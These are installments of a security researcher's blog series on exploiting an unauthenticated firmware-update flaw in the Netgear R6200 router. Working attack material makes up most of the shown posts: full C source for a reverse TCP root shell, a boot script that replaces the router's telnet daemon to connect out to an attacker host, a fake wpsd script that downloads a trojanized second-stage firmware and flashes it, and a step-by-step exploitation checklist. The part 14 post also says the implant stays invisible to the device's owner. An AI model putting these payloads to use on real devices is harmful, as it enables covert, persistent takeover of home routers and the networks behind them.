tag:blogger.com,1999:blog-96367632024-03-13T10:13:28.226-07:00The Shadow FileMy notes on technology, security, and personal projectsZach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comBlogger68125tag:blogger.com,1999:blog-9636763.post-19557415533996822762015-11-05T08:30:00.000-08:002015-11-05T11:47:19.604-08:00Broken, Abandoned, and Forgotten Code, Part 14In the previous <a href="http://shadow-file.blogspot.com/2015/10/abandoned-part-13.html">post</a>, we walked through building a stage 1 firmware image that can be flashed to the Netgear R6200 by exploiting the hidden <code>SetFirmware</code> SOAP action in <code>upnpd</code>. Due to an undersized memory allocation, we aren't able to flash a full sized image using this exploit. Whereas a stock firmware is nearly 9MB, the buffer <code>upnpd</code> base64 decodes into is 4MB, leading to a crash. As a result we have to load our trojanized firmware in two stages.<br />
<br />
The first stage is stripped down to bare essentials and contains an agent that downloads and flashes a full sized second stage providing persistent remote access. In this part, we conclude the series with a discussion of how to prepare the stage 2 and what it should contain.<br />
<br />
<h3>
Updated Exploit Code</h3>
There have been substantial changes to the part 14 code. There is a new exploit script, <code>firmware_exploit.py</code>. This script wraps <code>setfirmware.py</code> from the previous installments, plus it sets up connect-back servers required by both stages of the payload. Unlike before, it requires no command-line arguments. Instead it takes its configuration parameters from <code>environment.py</code>, which is thoroughly documented. If you haven't already now is a good time to clone the repository. There's a lot going on in this final part, and perusing the source is the best way to see how it all works. You can clone the repo from:<br />
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
<h3>
Post Exploitation</h3>
This and the previous posts focus on the post exploitation phase. This is among my favorite parts of vulnerability research and exploitation. It's the reward for all the head-desking that went into reverse engineering the vulnerable code and debugging your exploit. At this point, your exploit is working, giving you full control over your target. You can run any code you choose on the target as if it was your own. So how do you level that up into something useful? What you do with it depends on your goals and your imagination.<br />
<br />
Besides the obvious remote root shell, you could use your compromised host as a platform from which to attack other hosts. Here's a video showing just that. In the video, I demo an exploit chaining framework. The script exploits buffer overflows in three devices. It tunnels through the first to exploit the second, and through the first two to exploit the third. Then the connect-back shell tunnels backwards from the third host, though the second and first. From the perspective of the third host, the exploit came from the second.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="https://player.vimeo.com/video/107048232" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="https://vimeo.com/107048232">Exploit and Callback Tunneling</a> from <a href="https://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<br />
If you do go with the root shell, do you want it to be a simple TCP shell, or something more sophisticated, like SSH? You could even have the exploit download and execute an arbitrary payload from the internet for maximum flexibility. Should you have the payload run automatically at boot, or should it lie in wait, checking a dead drop for further instructions?<br />
<br />
For this project I'll stick with a simple connect-back TCP shell. This style of payload connects from the target to wherever I choose. Since this requires only an outbound connection from the compromised host, it helps get around filtering of inbound connections.<br />
<br />
<h3>
Stage 2 Preparation</h3>
<div>
In the previous part I described embedding the <code>mtd</code> utility from OpenWRT in the first stage in order to write stage 2. The <code>mtd</code> utility is ideal because it's so simple and handles the semantics of unlocking, erasing, and writing flash memory. Due to its simplicity, however, <code>mtd</code> has no knowledge of the ambit firmware format, nor does it know to write the firmware footer at the end of the flash partition. The <code>mtd</code> utility simply writes an opaque blob to whatever <code>/dev/mtd</code> device you specify. Because it was late when I was finishing up this project, I didn't want to write and debug a custom utility to run on the target that could parse the ambit format. I wanted to keep as much of the complexity as possible in the pre-exploitation phase and out of post-exploitation. This reduces the likelihood of things going wrong on the target device, from which you can't easily recover. I decided to preprocess the firmware image using Python and generate a flat file that could be laid down on the appropriate flash partition. I've added a tool, called <code>make_mtd.py</code>, to the repo that does the conversion.</div>
<div>
<br /></div>
<div>
Here's an example of it in action, generating a binary image exactly the size of the target flash partition:<br />
<br /></div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> make_mtd.py ./stage2.chk ./stage2mtd.bin 15728640
<span style="color: #cccccc;"> [+] Initializing mtd file: ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [@] Done initializing ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [@] Writing TRX image to ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [@] Got TRX image offset: 58</span>
<span style="color: #cccccc;"> [@] Got TRX image size: 8914180</span>
<span style="color: #cccccc;"> [@] Got TRX checksum 0xb027cb30</span>
<span style="color: #cccccc;"> [+] Writing data to ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [+] Done writing data to ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [@] Done writing TRX image.</span>
<span style="color: #cccccc;"> [@] Writing footer to ./stage2mtd.bin</span>
<span style="color: #cccccc;"> [@] Writing trx image size.</span>
<span style="color: #cccccc;"> [@] Writing trx checksum.</span>
<span style="color: #cccccc;"> [+] Done writing TRX image to ./stage2mtd.bin</span>
</pre>
</div>
<br />
<br />
Of course you'll need to serve up the second stage somehow. Recall that we had a script in stage 1 run at boot time and use <code>wget</code> to download stage 2. We'll need to serve the flattened second stage over HTTP.<br />
<br />
Up to now, we've been using Bowcaster primarily to build the firmware image. Its API for describing buffer overflow strings and ROP gadgets happens to be convenient for describing the ambit and TRX headers. However, Bowcaster also provides a number of server classes for exploit payloads to call back to. One of those classes is a special-purpose HTTP server. I found myself wanting an HTTP server to terminate after serving one or more specific payload files, allowing the exploit script to move on to the next stage. The class that does this is <code>HTTPConnectbackServer</code>. It's simple to use. You provide a list of files to serve (files may be listed multiple times if they are to be served multiple times), an address to bind to, and optionally a port and document root:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #d0d0d0;">files_to_server=sys.argv[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">].split(</span><span style="color: #ed9d13;">","</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">httpd=HTTPConnectbackServer(ip_address,files_to_serve)</span>
<span style="color: #d0d0d0;">httpd.serve()</span>
<span style="color: #999999; font-style: italic;"># wait() blocks until server terminates</span>
<span style="color: #d0d0d0;">httpd.wait()</span>
<span style="color: #999999; font-style: italic;"># do rest of exploit...</span>
</pre>
</div>
<br />
Once the second stage has been served up, the exploit script moves on to the next phase. This allows the script to run synchronously with payload execution on the target.<br />
<br />
<h3>
Stage 2 Payload</h3>
<div>
This brings us to the next question: what should the second stage firmware include? As I explained above, the options are practically unlimited. For the sake of simplicity, we'll stick with a reverse TCP shell that we can configure to phone home. This provides a remote root prompt without our having to worry about interference from a firewall or NAT router between us and the target. Further, you could have a completely separate system receive the remote shell, even from outside the target's network. That other system would require no knowledge of the target's hostname or IP address.</div>
<div>
<br /></div>
<div>
Many readers will already be familiar with the reverse shell, but for those that aren't, here's a typical C implementation that we'll cross-compile and bundle into the firmware. It's fairly straightforward if you're accustomed to C programming on Linux.</div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #cd2828; font-weight: bold;">#include <stdlib.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <unistd.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <stdio.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <netdb.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <string.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <sys/types.h></span>
<span style="color: #cd2828; font-weight: bold;">#include <sys/socket.h></span>
<span style="color: #999999; font-style: italic;">/*</span>
<span style="color: #999999; font-style: italic;"> * Create reverse tcp connect-back shell.</span>
<span style="color: #999999; font-style: italic;"> * ./reverse <IP address> <port></span>
<span style="color: #999999; font-style: italic;"> * IP address address of host to connect back to.</span>
<span style="color: #999999; font-style: italic;"> * port port on host to connect back to.</span>
<span style="color: #999999; font-style: italic;"> */</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #447fcf;">do_rtcp</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">const</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*host,</span> <span style="color: #6ab825; font-weight: bold;">const</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*port)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*ex[</span><span style="color: #3677a9;">4</span><span style="color: #d0d0d0;">];</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">s;</span>
<span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">addrinfo</span> <span style="color: #d0d0d0;">hints;</span>
<span style="color: #6ab825; font-weight: bold;">struct</span> <span style="color: #d0d0d0;">addrinfo</span> <span style="color: #d0d0d0;">*res;</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">ret;</span>
<span style="color: #d0d0d0;">memset(&hints,</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,</span> <span style="color: #6ab825; font-weight: bold;">sizeof</span> <span style="color: #d0d0d0;">hints);</span>
<span style="color: #d0d0d0;">hints.ai_family=AF_INET;</span>
<span style="color: #d0d0d0;">hints.ai_socktype=SOCK_STREAM;</span>
<span style="color: #d0d0d0;">ret=getaddrinfo(host,port,&hints,&res);</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(ret</span> <span style="color: #d0d0d0;">!=</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">fprintf(stderr,</span><span style="color: #ed9d13;">"getaddrinfo: %s\n"</span><span style="color: #d0d0d0;">,</span> <span style="color: #d0d0d0;">gai_strerror(ret));</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">s=socket(res->ai_family,res->ai_socktype,res->ai_protocol);</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(s</span> <span style="color: #d0d0d0;"><</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">perror(</span><span style="color: #ed9d13;">"socket"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">ret=connect(s,res->ai_addr,res->ai_addrlen);</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(ret</span> <span style="color: #d0d0d0;"><</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">perror(</span><span style="color: #ed9d13;">"connect"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #999999; font-style: italic;">//replace stdin, stdout, and stderr with the socket since</span>
<span style="color: #999999; font-style: italic;">//all of our input and out put will go to and come from the </span>
<span style="color: #999999; font-style: italic;">//remote host.</span>
<span style="color: #d0d0d0;">dup2(s,</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">dup2(s,</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">dup2(s,</span><span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">);</span>
<span style="color: #999999; font-style: italic;">//Now exec /bin/sh, which replaces this process.</span>
<span style="color: #999999; font-style: italic;">//The new /bin/sh process will keep the the file descriptors we </span>
<span style="color: #999999; font-style: italic;">//dupped above.</span>
<span style="color: #d0d0d0;">ex[</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"/bin/sh"</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">ex[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"sh"</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">ex[</span><span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">]=</span><span style="color: #24909d;">NULL</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">execve(ex[</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">],&ex[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">],</span><span style="color: #24909d;">NULL</span><span style="color: #d0d0d0;">);</span>
<span style="color: #999999; font-style: italic;">//we should never get to this point, so something went wrong.</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #447fcf;">main</span><span style="color: #d0d0d0;">(</span><span style="color: #6ab825; font-weight: bold;">int</span> <span style="color: #d0d0d0;">argc,</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">**argv)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #6ab825; font-weight: bold;">const</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*host;</span>
<span style="color: #6ab825; font-weight: bold;">const</span> <span style="color: #6ab825; font-weight: bold;">char</span> <span style="color: #d0d0d0;">*port;</span>
<span style="color: #6ab825; font-weight: bold;">pid_t</span> <span style="color: #d0d0d0;">child;</span>
<span style="color: #6ab825; font-weight: bold;">if</span><span style="color: #d0d0d0;">(argc</span> <span style="color: #d0d0d0;">!=</span> <span style="color: #3677a9;">3</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">fprintf(stderr,</span> <span style="color: #ed9d13;">"%s <IP address> <port>\n"</span><span style="color: #d0d0d0;">,argv[</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">]);</span>
<span style="color: #d0d0d0;">exit(</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Forking."</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">child=fork();</span>
<span style="color: #6ab825; font-weight: bold;">if</span><span style="color: #d0d0d0;">(child)</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"Child pid: %d\n"</span><span style="color: #d0d0d0;">,child);</span>
<span style="color: #d0d0d0;">exit(EXIT_SUCCESS);</span>
<span style="color: #d0d0d0;">}</span><span style="color: #6ab825; font-weight: bold;">else</span>
<span style="color: #d0d0d0;">{</span>
<span style="color: #d0d0d0;">printf(</span><span style="color: #ed9d13;">"We have forked. Doing connect-back.\n"</span><span style="color: #d0d0d0;">);</span>
<span style="color: #d0d0d0;">host=argv[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">];</span>
<span style="color: #d0d0d0;">port=argv[</span><span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">];</span>
<span style="color: #d0d0d0;">exit(do_rtcp(host,port));</span>
<span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">}</span>
</pre>
</div>
<br />
<div>
How should we kick off the reverse shell? The simplest way is to phone home with your reverse shell immediately. While simple, this method is not without problems. Perhaps outbound internet connectivity isn't yet available, or you may not have a reverse shell listener available to receive the connection. As such, you may want to wait until a prearranged condition is satisfied. You could have your boot-time agent check a dead drop such an HTML comment on a website. Or it could perform a DNS query looking for a specific IP address.</div>
<div>
<br /></div>
<div>
For this project, we'll keep it simple, and just fire off the reverse shell automatically on boot. Recall from last time, we replaced the <code>/sbin/wpsd</code> executable with a shell script that was responsible for downloading and flashing the second stage. Unfortunately we can't use that trick again; we need to restore the original <code>wpsd</code> binary so the router will can function normally. There is, however, an executable that isn't likely to be missed if we replace it.</div>
<div>
<br /></div>
<div>
Almost every consumer Netgear device has a telnet backdoor listening on the LAN. There is a daemon, <code>telnetenabled</code>, that listens for a magic packet on the network which causes it to start up telnet. Since this service isn't essential for normal operation, we can replace it with our shell script. It also helps that <code>telnetenabled</code> runs late in the boot process, so hopefully network connectivity has been established.</div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">#!/bin/sh</span>
<span style="color: #999999; font-style: italic;">#WAN or LAN host is fine here.</span>
<span style="color: #40ffff;">host</span><span style="color: #d0d0d0;">=</span>10.12.34.56
<span style="color: #40ffff;">port</span><span style="color: #d0d0d0;">=</span>8081
<span style="color: #999999; font-style: italic;"># We could put this in a loop if we wanted to phone home even</span>
<span style="color: #999999; font-style: italic;"># after the initial connection, or if network connectivity isn't</span>
<span style="color: #999999; font-style: italic;"># always available.</span>
/usr/sbin/reverse-tcp <span style="color: #40ffff;">$host</span> <span style="color: #40ffff;">$port</span>
</pre>
</div>
<br />
And with that we should have our remote root shell, assuming everything has gone right. This final part combines a lot of pieces, both on the target and on our end. I've covered most of it here, but if you want to see how it all fits together, check out the part 14 addition to the source code repository.<br />
<br />
<h3>
Summary:</h3>
<div>
So, to recap, here's a summary of the exploitation process from start to finish:</div>
<div>
<ul>
<li>Send a string to <code>upnpd</code>, probably in the form of HTTP headers but not necessarily, containing <code>SetFirmware</code>.</li>
<li>Ensure <code>Content-Length:</code> header with a value greater than 102401 is in the initial string.</li>
<li>Don't send more than 8,190 bytes.</li>
<li>Sleep exactly one second without closing the connection.</li>
<li>Send something approximating a SOAP request body containing a base64 encoded firmware image. Don't close the connection!</li>
<li>Sleep a few seconds before finally closing the connection.</li>
<li>Be sure the firmware image is less than 4MB; it gets base64 decoded into an undersized buffer.</li>
<li><code>upnpd</code> triggers a reboot into the stripped-down firmware.</li>
<li>A script downloads a flattened, full-size firmware image and writes it to flash memory.</li>
<li>The router reboots a second time.</li>
<li>A script (put in place of Netgear's telnet backdoor) kicks off a reverse-TCP shell session to a predetermined destination, yielding remote root access.</li>
</ul>
</div>
<br />
<h3>
One More Thing</h3>
<div>
While the reverse-TCP agent gives us complete, remote control over the device, its operation is essentially invisible to the user. In fact, there's almost no way to tell by inspection that we've taken over the device. For the purposes of real-world exploitation, this is ideal. The router continues to function as normal with no indication otherwise. For demonstration purposes, however, wouldn't it be cool if we could leave a calling card, so to speak? This could be some sort of easily identifiable sign that there are no tricks up our sleeve--that we really have owned the target.<br />
<br />
In the router's web interface, there is a "Netgear Genie" logo in the upper lefthand corner. This logo comes from <code>/www/img/Netgeargenie.png</code> on the router's filesystem. When we're building the second stage firmware image, we can replace that image with one of our choosing (giving it the same name of course). After the last reboot, when we log into the router's web interface, there can be no doubt who's in charge.</div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/99298302@N02/22418712600/" style="margin-left: auto; margin-right: auto;" title="netgear_pony"><img alt="netgear_pony" height="302" src="https://farm1.staticflickr.com/750/22418712600_d16d35f07d_z.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">This device has been truly and completely pwned.</td></tr>
</tbody></table>
<script async="" charset="utf-8" src="//embedr.flickr.com/assets/client-code.js"></script><br />
<br />
There are a lot of moving parts, and we've covered a lot of ground in 14 installments. I'll leave you with the video I included in the <a href="http://shadow-file.blogspot.com/2015/04/broken-abandoned-and-forgotten-code_22.html">prologue</a> that shows it all come together. Come for the 'sploits, stay for the music.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="https://player.vimeo.com/video/125468293" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="https://vimeo.com/125468293">R6200 Firmware Upload</a> from <a href="https://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<br />
Cheers!Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-79109548700478840812015-10-08T08:30:00.000-07:002015-10-08T08:30:01.918-07:00Broken, Abandoned, and Forgotten Code, Part 13In the <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">first</a> twelve parts of this <a href="http://shadow-file.blogspot.com/2015/06/abandoned-intermission.html">series</a>, we identified an unauthenticated firmware update feature in the Netgear R6200 wireless router. Unfortunately, this feature was broken and only partially implemented, making exploitation less that straightforward. We reverse engineered the timing requirements and structure of the SOAP request required to exploit this vulnerability. We also reverse engineered the firmware image format, including its undocumented firmware header.<br />
<br />
As of the previous <a href="http://shadow-file.blogspot.com/2015/09/abandoned-part-12.html">part</a>, the exploitation phase is complete, which is to say we are able to have the Netgear UPnP daemon overwrite the firmware on flash storage with arbitrary data of our choosing. We are able to do this without authentication.<br />
<br />
This and the next part will cover post exploitation. We're able to write a firmware with whatever customization we desire. How should we trojanize the firmware image so that the exploit yields persistent remote access?<br />
<br />
<h3>
Updated Exploit Code</h3>
This week's update to the proof-of-concept code is substantial. There is a new part_13 directory that corresponds to this post. The SetFirmware exploit and firmware generation code remains the same. However, there is a new payload-src directory which contains code for generating a stage 1 (and later, stage 2) payload. The README in part_13 has been updated with details on assembling the stage 1 firmware. Now is a good time to do a git pull. If you don't have the code, you can clone it from:<br />
<a href="https://github.com/zcutlip/broken_abandoned.git">https://github.com/zcutlip/broken_abandoned.git</a><br />
<br />
<h3>
Recap</h3>
Before discussing post-exploitation firmware, it's worth recapping how the exploit works. It goes roughly like this:<br />
<ul>
<li>Send HTTP headers for a SOAP request, including a magic <code>Content-Length</code> value</li>
<li>Sleep one second</li>
<li>Send remainder of the SOAP request with trojan firmware base64 encoded within</li>
<li>Sleep 1-2 seconds</li>
<li>The firmware must be stripped down to less than 4MB to avoid crashing upnpd</li>
<li>If the firmware header passes minimal inspection and avoids crashing upnpd, it is written to flash, replacing the original firmware</li>
<li>The target reboots into the new firmware</li>
</ul>
Unfortunately, due to the bug that crashes upnpd, the firmware image must be stripped down to a size such that it's barely functional. In <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-11.html">part 11</a> we stripped out everything except what is required for the device to successfully boot and have internet connectivity. This even included the web server. This has a couple of implications. First is this exploit requires a two-stage payload, since we can't leave the device with a stripped down firmware. The first stage must download the second stage, a full-blown, trojanized firmware image, and flash it. The device must then reboot into stage 2.<br />
<div>
<br /></div>
<div>
The second implication is that there is nothing remaining in the stripped down firmware with which to parse and flash the second stage firmware image. We'll need to come up with a mechanism to do the downloading and flashing of stage 2 and integrate it into the minimized stage 1 image. Of course, in order to stay under 4MB, this mechanism must be as small as possible.</div>
<div>
<br />
<h3>
How to Bootstrap Stage 2?</h3>
</div>
<div>
This can be broken down into two problems: </div>
<div>
<ol>
<li>How to kick off this process automatically at boot time?</li>
<li>How to parse and flash the firmware image?</li>
</ol>
The first part is relatively easy. As I mentioned in part 11, the boot sequence is brittle and not at all configurable. There's a binary executable that kicks off the various services in a particular order. Some of those services kick off other services. There is no editable script or configuration file that determines what should run and in what sequence. It's unclear what the impact will be if a service fails to start. If you recall, to trick the system into thinking every service had started successfully, we replaced each service with a shell script of the same name that exits with a successful status. It is simple to edit one of those dummy scripts to download and flash the stage 2 image. I recommend choosing one of the last scripts in the boot sequence to ensure networking has been configured. I chose the <code>/usr/sbin/wpsd</code> script; it runs late in the boot sequence. Luckily, we still have <code>wget</code> on the system (it's one of busybox's personalities), so downloading the second stage is simple.</div>
<div>
<br />
For the second problem, flashing the downloaded image, we'll need to provide a utility, since there's nothing left that will do this for us. Because it was late at night when I was working on this part, I didn't want to spend time writing my own utility to parse the ambit image, and to do gymnastics involved writing the image. Fortunately, the OpenWRT project provides an mtd-writing utility that handles all the semantics of unlocking, erasing, and writing <code>/dev/mtd</code> flash memory devices.<br />
<br />
I had to patch the utility to remove functionality we don't need, thereby eliminating some library dependencies. Since OpenWRT is GPL licensed, I didn't want to include it in this project's source code. The README in part 13 of the PoC code describes how to clone my mtdwriter project and put it in the right place so the stage 1 Makefile will find and build it. For the curious, the customized mtd utility is located here:<br />
<a href="https://github.com/zcutlip/mtdwriter">https://github.com/zcutlip/mtdwriter</a><br />
<br />
You will, of course, need a uClibc little endian MIPS cross compiler to build it. I recommend using buildroot to build the cross compiler.<br />
<br />
OpenWRT's <code>mtd</code> doesn't know anything about the ambit firmware image. It's only useful insofar as it can write arbitrary data to a <code>/dev/mtd</code> device. This actually works out for the best; bootstrapping the second stage is a sensitive operation. If anything goes wrong, the target device will be bricked. Moving as much complexity as possible off the target and into the payload building stage is good.<br />
<br />
Since we already have code that generates an ambit firmware image, the easiest thing to do is to preprocess that file and turn it into a flat image that can be laid down on the appropriate flash partition. The <code>mtd</code> utility just writes an opaque blob with no knowledge of what it's writing.<br />
<br />
Below is the "fake" <code>wpsd</code> script that downloads the second stage and flashes it using the <code>mtd</code> utility.</div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #999999; font-style: italic;">#!/bin/sh</span>
<span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">"Fake wpsd"</span>
<span style="color: #40ffff;">S2MTD</span><span style="color: #d0d0d0;">=</span>stage2mtd.bin
<span style="color: #24909d;">echo</span> <span style="color: #ed9d13;">"Initializing update procedure for Stage 2 firmware."</span>
<span style="color: #999999; font-style: italic;"># download stage 2</span>
wget http://10.12.34.56:8080/<span style="color: #40ffff;">$S2MTD</span> -O /tmp/<span style="color: #40ffff;">$S2MTD</span> <span style="color: #d0d0d0;">||</span> <span style="color: #24909d;">exit </span>1
<span style="color: #999999; font-style: italic;"># write stage 2 to /dev/mtd1. -r option reboots.</span>
mtd -r write /tmp/<span style="color: #40ffff;">$S2MTD</span> /dev/mtd1
</pre>
</div>
<br />
<br />
When we roll those changes into the minimized stage 1 firmware, then exploit the UPnP server, the device should reboot, then download and flash the second stage firmware image. You'll need to serve the stage 2 image over HTTP so wget can download it. We'll cover that in part 14.<br />
<br />
Also in the next and final part, we'll discuss preprocessing an ambit image for easy writing to flash. We'll also address what the second stage firmware should contain such that it yields persistent, remote access.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-20501405723805429562015-09-17T08:30:00.000-07:002015-09-19T18:53:57.208-07:00Broken, Abandoned, and Forgotten Code, Part 12In the previous <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-11.html">part</a>, I described how to strip out all but the most essential services and libraries in the stock firmware in order to get the firmware image down to under 4MB. This avoids crashing <code>upnpd</code>, which allocates less than half enough memory to base64 decode a stock-sized firmware image.<br />
<br />
In this part, we'll walk through a crasher you might encounter (or might not, depending how you formatted your ambit header) and how to sidestep it.<br />
<br />
<h3>
Updated Exploit Code</h3>
<div>
I last updated the exploit code for <a href="http://shadow-file.blogspot.com/2015/07/abandoned-part-11.html">part 11</a>, when we added a missing checksum to the ambit header that prevents the router from booting if missing. In this part I've updated the code to add an additional field to the ambit header that, in some cases, will prevent a post-exploitation crash in <code>upnpd</code>. If you've previously cloned the repository, now would be a good time to do a pull. You can clone the git repo from:</div>
<div>
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
<h3>
An Invalid free() Crashes the Party</h3>
Remember how this firmware updating "feature" in <code>upnpd</code> is buggy and only partially implemented? Well right at the very end, after <code>upnpd</code> writes the size/checksum footer to the flash partition, the decoded firmware buffer gets passed to <code>free()</code>. All good, right? Except not really, because it isn't exactly the decoded firmware buffer. It's the buffer <i>plus ambit header size</i>. Oh shit!<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16980154318" style="margin-left: auto; margin-right: auto;" title="Free invalid pointer by Zachary Cutlip, on Flickr"><img alt="Free invalid pointer" height="121" src="https://farm9.staticflickr.com/8706/16980154318_5cb6412dee.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Oh noes! Death can occur!</td></tr>
</tbody></table>
<br />
Here's what's happening.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16531692043" style="margin-left: auto; margin-right: auto;" title="ambit_trx_free by Zachary Cutlip, on Flickr"><img alt="ambit_trx_free" height="250" src="https://farm8.staticflickr.com/7666/16531692043_fc96167de3.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Oh snap! We <code>free()</code>ed the wrong thing.</td></tr>
</tbody></table>
This is <i>super</i> shitty. If <code>upnpd</code> crashes before it can reboot the target, we're sunk; we've lost control of the device at that point.<br />
<br />
In some cases this won't crash the program, though who knows in what state the process's heap will be. Other times this definitely results in a crash. In order to know why, it helps to understand a little about how libc dynamically allocates memory.<br />
<br />
<h3>
Spelunking in free() and malloc()</h3>
